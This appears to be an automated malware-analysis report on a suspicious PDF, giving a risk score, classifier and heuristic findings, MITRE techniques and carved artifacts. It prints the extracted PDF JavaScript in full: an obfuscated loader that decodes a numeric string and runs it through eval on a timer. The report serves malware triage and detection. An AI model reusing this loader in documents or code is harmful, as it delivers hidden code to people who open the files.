SUSPICIOUS
56
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.002 Malicious File
The ML classifier strongly indicates maliciousness, and the presence of embedded JavaScript within the PDF is a common delivery mechanism for exploits or malware. The JavaScript stream, though not directly analyzed for its content in this summary, is the primary indicator of malicious intent. The document body text is nonsensical and does not provide any contextual clues for the attack.
Machine Learning
- Nyx PDF Classifier malicious score 0.9999
Heuristics 4
-
JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Optional Content Group with action trigger low PDF_OPTIONAL_CONTENTOptional Content Group (layer) co-occurs with an action trigger — content can be selectively hidden from viewers or scanners while the action still fires on open
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0010_000.js |
pdf-javascript-stream | PDF /JS object 10 at offset 0x7080 | 8330 bytes |
SHA-256: f087e8a69c16904456266d298d064a8c4676b9bf87a430422facdb915039044c |
|||
Preview scriptFirst 1,000 lines of the extracted script
��
v a r n 8 H 7 z k 8 = ' 2 5 7 A 2 7 2 s 2 6 5 T 2 5 4 n 2 7 1 N 2 6 0 e 2 6 6 R 2 6 5 h 1 8 7 O 2 5 5 Y 2 5 6 a 2 5 4 X 2 6 6 c 2 5 5 f 2 5 6 c 2 5 0 r 2 5 3 p 2 6 0 l 2 6 7 N 1 9 5 D 2 5 6 d 2 6 5 o 2 5 4 L 2 5 0 V 2 7 0 K 2 7 1 o 2 6 9 N 1 9 6 m 1 6 5 N 2 7 8 T 1 6 5 S 1 8 7 N 1 8 7 L 1 8 7 l 1 8 7 B 2 7 3 Z 2 5 2 Q 2 6 9 T 1 8 7 G 2 5 2 f 2 6 9 r 1 8 7 g 2 1 6 D 1 8 7 U 2 6 5 M 2 5 6 f 2 7 4 L 1 8 7 B 2 2 0 R 2 6 9 Z 2 6 9 E 2 5 2 u 2 7 6 O 1 9 5 Q 1 9 6 P 2 1 4 Z 1 6 5 F 1 8 7 d 1 8 7 L 1 8 7 S 1 8 7 w 2 5 2 e 2 6 9 g 1 8 7 I 2 1 6 P 1 8 7 i 2 5 6 h 2 6 5 g 2 5 4 B 2 5 0 o 2 7 0 M 2 7 1 t 2 6 9 U 2 0 1 P 2 7 0 N 2 6 7 h 2 6 3 v 2 6 0 Z 2 7 1 i 1 9 5 M 1 9 4 z 2 1 4 n 1 9 4 H 1 9 6 N 2 1 4 D 1 6 5 W 1 8 7 m 1 8 7 I 1 8 7 A 1 8 7 y 2 7 3 b 2 5 2 x 2 6 9 c 1 8 7 I 2 6 5 G 2 6 6 s 2 6 7 r 1 8 7 n 2 1 6 Z 1 8 7 s 1 9 4 c 1 9 4 l 2 1 4 m 1 6 5 x 1 8 7 B 1 8 7 z 1 8 7 e 1 8 7 w 2 5 7 Y 2 6 6 M 2 6 9 I 1 9 5 Y 2 6 0 z 1 8 7 P 2 1 6 m 1 8 7 D 2 0 3 m 2 1 4 Z 2 6 0 M 1 8 7 m 2 1 5 X 1 8 7 o 2 5 2 k 2 6 9 A 2 0 1 w 2 6 3 q 2 5 6 t 2 6 5 o 2 5 8 e 2 7 1 T 2 5 9 h 2 1 4 G 2 6 0 E 1 9 8 T 1 9 8 D 1 9 6 F 1 8 7 S 2 7 8 h 1 6 5 C 1 6 4 r 2 6 5 u 2 6 6 K 2 6 7 P 1 9 8 t 2 1 6 a 2 3 8 C 2 7 1 x 2 6 9 M 2 6 0 b 2 6 5 J 2 5 8 z 2 0 1 z 2 5 7 x 2 6 9 j 2 6 6 z 2 6 4 u 2 2 2 a 2 5 9 t 2 5 2 i 2 6 9 E 2 2 2 M 2 6 6 Q 2 5 5 K 2 5 6 R 1 9 5 j 2 5 2 O 2 6 9 X 2 4 6 C 2 6 0 v 2 4 8 Z 1 9 6 t 2 1 4 q 1 6 5 k 1 8 7 J 1 8 7 k 1 8 7 K 1 8 7 L 2 8 0 h 1 6 5 X 1 8 7 m 1 8 7 q 1 8 7 X 1 8 7 m 2 6 9 o 2 5 6 H 2 7 1 l 2 7 2 i 2 6 9 h 2 6 5 f 1 8 7 R 2 6 5 m 2 6 6 s 2 6 7 h 2 1 4 x 1 6 5 J 2 8 0 R 1 6 5 L 1 6 5 h 2 5 7 T 2 7 2 H 2 6 5 G 2 5 4 M 2 7 1 x 2 6 0 r 2 6 6 W 2 6 5 h 1 8 7 C 2 5 4 i 2 5 9 O 2 5 6 a 2 5 4 U 2 6 2 F 2 5 0 x 2 6 9 G 2 7 2 t 2 6 5 F 1 9 5 s 1 9 6 c 1 6 5 n 2 7 8 Y 1 6 5 u 1 8 7 Z 1 8 7 Q 1 8 7 c 1 8 7 W 2 7 1 a 2 5 9 t 2 6 0 h 2 7 0 H 2 0 1 M 2 7 0 p 2 7 6 O 2 6 5 Z 2 5 4 m 2 2 0 F 2 6 5 v 2 6 5 T 2 6 6 I 2 7 1 d 2 3 8 i 2 5 4 i 2 5 2 y 2 6 5 n 1 9 5 g 1 9 6 F 2 1 4 h 1 6 5 l 1 8 7 y 1 8 7 K 1 8 7 Y 1 8 7 W 2 7 3 E 2 5 2 y 2 6 9 n 1 8 7 g 2 7 3 U 2 5 6 O 2 6 9 a 2 7 0 C 2 6 0 W 2 6 6 m 2 6 5 r 1 8 7 k 2 1 6 L 1 8 7 e 2 5 2 q 2 6 7 G 2 6 7 y 2 0 1 y 2 7 3 k 2 6 0 g 2 5 6 h 2 7 4 i 2 5 6 U 2 6 9 N 2 4 1 o 2 5 6 C 2 6 9 y 2 7 0 m 2 6 0 M 2 6 6 X 2 6 5 J 2 0 1 R 2 7 1 V 2 6 6 x 2 3 8 x 2 7 1 q 2 6 9 L 2 6 0 X 2 6 5 t 2 5 8 h 1 9 5 K 1 9 6 l 2 1 4 S 1 6 5 V 1 8 7 P 1 8 7 J 1 8 7 c 1 8 7 N 2 7 3 I 2 5 6 M 2 6 9 u 2 7 0 p 2 6 0 v 2 6 6 O 2 6 5 D 1 8 7 j 2 1 6 Q 1 8 7 B 2 7 3 W 2 5 6 d 2 6 9 Z 2 7 0 f 2 6 0 u 2 6 6 v 2 6 5 c 2 0 1 s 2 6 9 m 2 5 6 o 2 6 7 Q 2 6 3 f 2 5 2 V 2 5 4 a 2 5 6 Q 1 9 5 o 2 0 2 v 2 4 7 g 2 2 3 y 2 0 2 Y 2 5 8 t 1 9 9 H 1 8 7 l 1 8 9 o 1 8 9 x 1 9 6 g 2 1 4 C 1 6 5 A 1 8 7 Q 1 8 7 T 1 8 7 B 1 8 7 m 2 7 3 x 2 5 2 b 2 6 9 S 1 8 7 r 2 7 3 W 2 5 2 u 2 6 9 j 2 7 0 I 2 6 0 i 2 6 6 A 2 6 5 o 2 5 0 E 2 5 2 a 2 6 9 F 2 6 9 t 2 5 2 W 2 7 6 l 1 8 7 s 2 1 6 u 1 8 7 f 2 6 5 z 2 5 6 f 2 7 4 T 1 8 7 w 2 2 0 M 2 6 9 W 2 6 9 w 2 5 2 c 2 7 6 p 1 9 5 y 2 7 3 P 2 5 6 n 2 6 9 Z 2 7 0 h 2 6 0 e 2 6 6 w 2 6 5 c 2 0 1 O 2 5 4 F 2 5 9 K 2 5 2 O 2 6 9 u 2 2 0 P 2 7 1 o 1 9 5 z 2 0 3 J 1 9 6 L 1 9 9 k 1 8 7 B 2 7 3 F 2 5 6 P 2 6 9 A 2 7 0 k 2 6 0 i 2 6 6 x 2 6 5 w 2 0 1 E 2 5 4 t 2 5 9 Z 2 5 2 u 2 6 9 s 2 2 0 o 2 7 1 h 1 9 5 S 2 0 4 V 1 9 6 M 1 9 9 O 1 8 7 x 2 7 3 a 2 5 6 U 2 6 9 I 2 7 0 p 2 6 0 O 2 6 6 Y 2 6 5 e 2 0 1 N 2 5 4 h 2 5 9 p 2 5 2 y 2 6 9 j 2 2 0 u 2 7 1 N 1 9 5 k 2 0 5 f 1 9 6 w 1 9 6 h 2 1 4 c 1 6 5 A 1 8 7 b 1 8 7 B 1 8 7 v 1 8 7 U 2 6 0 q 2 5 7 c 1 8 7 m 1 9 5 L 1 9 5 o 2 7 3 B 2 5 2 J 2 6 9 P 2 7 0 V 2 6 0 R 2 6 6 E 2 6 5 k 2 5 0 q 2 5 2 j 2 6 9 x 2 6 9 Y 2 5 2 Y 2 7 6 v 2 4 6 H 2 0 3 T 2 4 8 J 1 8 7 s 2 1 5 y 1 8 7 F 2 1 1 a 1 9 6 b 1 8 7 G 2 7 9 C 2 7 9 c 1 8 7 B 1 9 5 W 2 7 3 S 2 5 2 d 2 6 9 I 2 7 0 e 2 6 0 S 2 6 6 J 2 6 5 n 2 5 0 h 2 5 2 f 2 6 9 F 2 6 9 m 2 5 2 P 2 7 6 v 2 4 6 W 2 0 3 N 2 4 8 T 1 8 7 u 2 1 6 J 2 1 6 b 1 8 7 N 2 1 1 S 1 8 7 U 1 9 3 M 1 9 3 Y 1 8 7 u 2 7 3 n 2 5 2 e 2 6 9 w 2 7 0 Q 2 6 0 f 2 6 6 T 2 6 5 j 2 5 0 J 2 5 2 b 2 6 9 N 2 6 9 b 2 5 2 l 2 7 6 B 2 4 6 J 2 0 4 Q 2 4 8 H 1 8 7 w 2 1 5 g 1 8 7 D 2 0 5 S 1 8 7 t 1 9 3 W 1 9 3 N 1 8 7 D 2 7 3 y 2 5 2 a 2 6 9 V 2 7 0 T 2 6 0 n 2 6 6 u 2 6 5 N 2 5 0 a 2 5 2 Y 2 6 9 K 2 6 9 q 2 5 2 E 2 7 6 d 2 4 6 a 2 0 5 N 2 4 8 F 1 8 7 o 2 1 5 p 1 8 7 r 2 0 5 p 1 9 6 z 1 9 6 I 1 8 7 x 2 7 8 v 1 6 5 o 1 6 4 A 2 7 3 O 2 5 2 i 2 6 9 X 1 8 7 b 2 5 2 l 2 6 5 V 2 6 5 C 1 8 7 H 2 1 6 o 1 8 7 p 2 7 1 B 2 5 9 C 2 6 0 P 2 7 0 Z 2 0 1 N 2 5 8 G 2 5 6 e 2 7 1 r 2 2 0 h 2 6 5 r 2 6 5 x 2 6 6 V 2 7 1 h 1 9 5 o 2 0 3 L 1 9 9 g 1 8 7 w 1 8 9 I 2 0 3 b 2 0 3 k 2 0 3 I 2 0 4 q 2 0 0 S 2 0 3 f 2 0 3 R 2 0 3 D 2 0 4 A 1 8 9 U 1 9 6 K 2 1 4 p 1 8 7 J 1 6 5 M 1 6 4 s 2 7 3 Z 2 5 2 m 2 6 9 F 1 8 7 f 2 5 3 Q 2 6 0 x 2 6 7 M 1 8 7 H 2 1 6 u 1 8 7 i 1 9 4 o 1 9 4 i 2 1 4 t 1 6 5 V 1 6 4 e 2 6 0 B 2 5 7 w 1 9 5 P 1 8 7 J 2 5 2 n 2 6 5 i 2 6 5 o 1 8 7 F 1 8 8 m 2 1 6 p 1 8 7 Z 2 6 5 x 2 7 2 f 2 6 3 i 2 6 3 J 1 8 7 X 1 9 6 H 1 8 7 v 2 7 8 d 1 6 5 n 1 6 4 L 1 8 7 a 1 8 7 A 1 8 7 T 1 8 7 V 2 5 3 i 2 6 0 I 2 6 7 D 1 8 7 c 2 1 6 d 1 8 7 i 2 5 2 d 2 6 5 a 2 6 5 x 2 0 1 m 2 7 0 N 2 7 2 g 2 5 3 b 2 6 1 S 2 5 6 S 2 5 4 Q 2 7 1 s 2 1 4 P 1 6 5 w 1 6 4 a 2 8 0 Y 1 6 5 T 1 6 4 i 2 6 5 T 2 6 0 x 2 6 7 W 1 8 7 f 2 1 6 Y 1 8 7 W 2 5 5 y 2 5 6 t 2 5 4 F 2 6 6 G 2 5 5 x 2 5 6 i 2 5 0 j 2 5 3 f 2 6 0 L 2 6 7 J 1 9 5 d 2 5 3 y 2 6 0 X 2 6 7 J 1 9 6 Z 2 1 4 p 1 6 5 b 1 6 4 q 2 5 6 h 2 7 3 q 2 5 2 m 2 6 3 I 1 9 5 O 2 6 5 G 2 6 0 r 2 6 7 i 1 9 6 E 2 1 4 N 1 6 5 N 1 8 7 c 1 8 7 k 1 8 7 L 1 8 7 V 2 8 0 q 1 8 7 R 2 5 6 S 2 6 3 Y 2 7 0 B 2 5 6 y 1 8 7 j 2 7 8 L 1 6 5 b 1 6 4 i 2 7 3 i 2 5 2 k 2 6 9 I 1 8 7 Y 2 5 2 M 2 6 5 y 2 6 5 G 1 8 7 C 2 1 6 l 1 8 7 O 2 7 1 R 2 5 9 s 2 6 0 G 2 7 0 z 2 0 1 w 2 5 8 T 2 5 6 M 2 7 1 Y 2 2 0 D 2 6 5 Y 2 6 5 u 2 6 6 u 2 7 1 q 1 9 5 N 2 0 3 S 1 9 9 r 1 8 7 M 1 8 9 C 2 0 3 D 2 0 3 n 2 0 3 k 2 0 4 l 2 0 0 Y 2 0 3 s 2 0 3 J 2 0 3 k 2 0 3 r 1 8 9 Q 1 9 6 n 2 1 4 c 1 8 7 e 1 6 5 E 1 6 4 V 2 7 3 l 2 5 2 E 2 6 9 R 1 8 7 E 2 5 3 R 2 6 0 q 2 6 7 I 1 8 7 p 2 1 6 k 1 8 7 C 1 9 4 g 1 9 4 y 2 1 4 U 1 6 5 X 1 6 4 K 2 6 0 X 2 5 7 a 1 9 5 y 1 8 7 H 2 5 2 M 2 6 5 W 2 6 5 A 1 8 7 W 1 8 8 H 2 1 6 s 1 8 7 m 2 6 5 v 2 7 2 V 2 6 3 R 2 6 3 A 1 8 7 q 1 9 6 C 1 8 7 F 2 7 8 H 1 6 5 G 1 8 7 W 1 8 7 x 1 8 7 O 1 8 7 M 1 6 4 i 1 8 7 R 1 8 7 s 1 8 7 h 1 8 7 l 2 5 3 P 2 6 0 r 2 6 7 I 1 8 7 q 2 1 6 p 1 8 7 Q 2 5 2 D 2 6 5 M 2 6 5 R 2 0 1 Z 2 7 0 U 2 7 2 J 2 5 3 L 2 6 1 Q 2 5 6 f 2 5 4 c 2 7 1 Q 2 1 4 V 1 6 5 e 1 6 4 V 2 8 0 d 1 6 5 l 1 6 4 s 2 6 5 a 2 6 0 A 2 6 7 E 1 8 7 J 2 1 6 R 1 8 7 w 2 5 5 q 2 5 6 D 2 5 4 M 2 6 6 i 2 5 5 M 2 5 6 D 2 5 0 Y 2 5 3 c 2 6 0 G 2 6 7 k 1 9 5 u 2 5 3 f 2 6 0 F 2 6 7 E 1 9 6 r 2 1 4 W 1 6 5 j 1 6 4 T 2 5 6 n 2 7 3 E 2 5 2 y 2 6 3 I 1 9 5 i 2 6 5 k 2 6 0 B 2 6 7 J 1 9 6 k 2 1 4 F 1 6 5 S 1 8 7 B 1 8 7 C 1 8 7 J 1 8 7 E 2 8 0 O 1 6 5 r 2 8 0 R 1 6 5 S 1 6 5 P 2 5 2 t 2 6 7 Y 2 6 7 A 2 0 1 n 2 5 2 E 2 6 3 G 2 5 6 s 2 6 9 v 2 7 1 c 1 9 5 b 1 9 4 P 2 0 4 P 1 9 4 g 1 9 6 N 2 1 4 Y 1 6 5 O 2 5 4 x 2 5 9 Z 2 5 6 X 2 5 4 i 2 6 2 f 2 5 0 p 2 6 9 k 2 7 2 h 2 6 5 y 1 9 5 p 1 9 6 w 2 1 4 q ' ;
v a r n p E b k m 9 3 5 = 1 5 5 ;
n 8 H 7 z k 8 = n 8 H 7 z k 8 . r e p l a c e ( / [ ^ 0 - 9 ] / g , ' : ' ) ;
W I O a Z 1 r p = ' n p E b k m 9 3 5 ' ;
n 8 H 7 z k 8 = n 8 H 7 z k 8 . r e p l a c e ( / : : / g , ' ' ) ;
a p p . a l e r t ( n 8 H 7 z k 8 ) ;
f u n c t i o n R t 3 8 y w 5 X 3 Y M P ( k I W Q r t q B 0 A C A , e u o n 0 G Q h 1 U t Q ) { v a r B J X 2 G = n e w S t r i n g ( ) ; v a r D T v d H c H G P D = n e w S t r i n g ( ) ;
M W U B W = k I W Q r t q B 0 A C A . s p l i t ( ' : ' ) ;
f o r ( C I I 6 W t p I = 0 ; C I I 6 W t p I < M W U B W . l e n g t h - 1 ; C I I 6 W t p I + + ) { x s N n C u o S = S t r i n g [ ' f r o m C h a r C o d e ' ] ( M W U B W [ C I I 6 W t p I ] - e u o n 0 G Q h 1 U t Q ) ; ;
D T v d H c H G P D = D T v d H c H G P D + x s N n C u o S ; } r e t u r n D T v d H c H G P D ; } ;
W I O a Z 1 r p = R t 3 8 y w 5 X 3 Y M P ( n 8 H 7 z k 8 , n p E b k m 9 3 5 ) ;
v a r T 5 u x Z 6 T o = ' a ' ;
v a r g l u u f k C i = ' u ' ;
d G J 1 1 W i d 7 E S c = a p p [ ' s e t ' + ' T i m e O ' + g l u u f k C i + ' t ' ] ( " e v " + T 5 u x Z 6 T o + " l ( W I O a Z 1 r p ) " , 1 ) ;
|
|||
stream_001_off00007080.js |
decompressed-pdf-stream | PDF FlateDecoded stream at offset 0x7080 | 4164 bytes |
SHA-256: 556817e05cfb8615725b86040701134ec2f2b9430002aa62f434bf04a55758bd |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.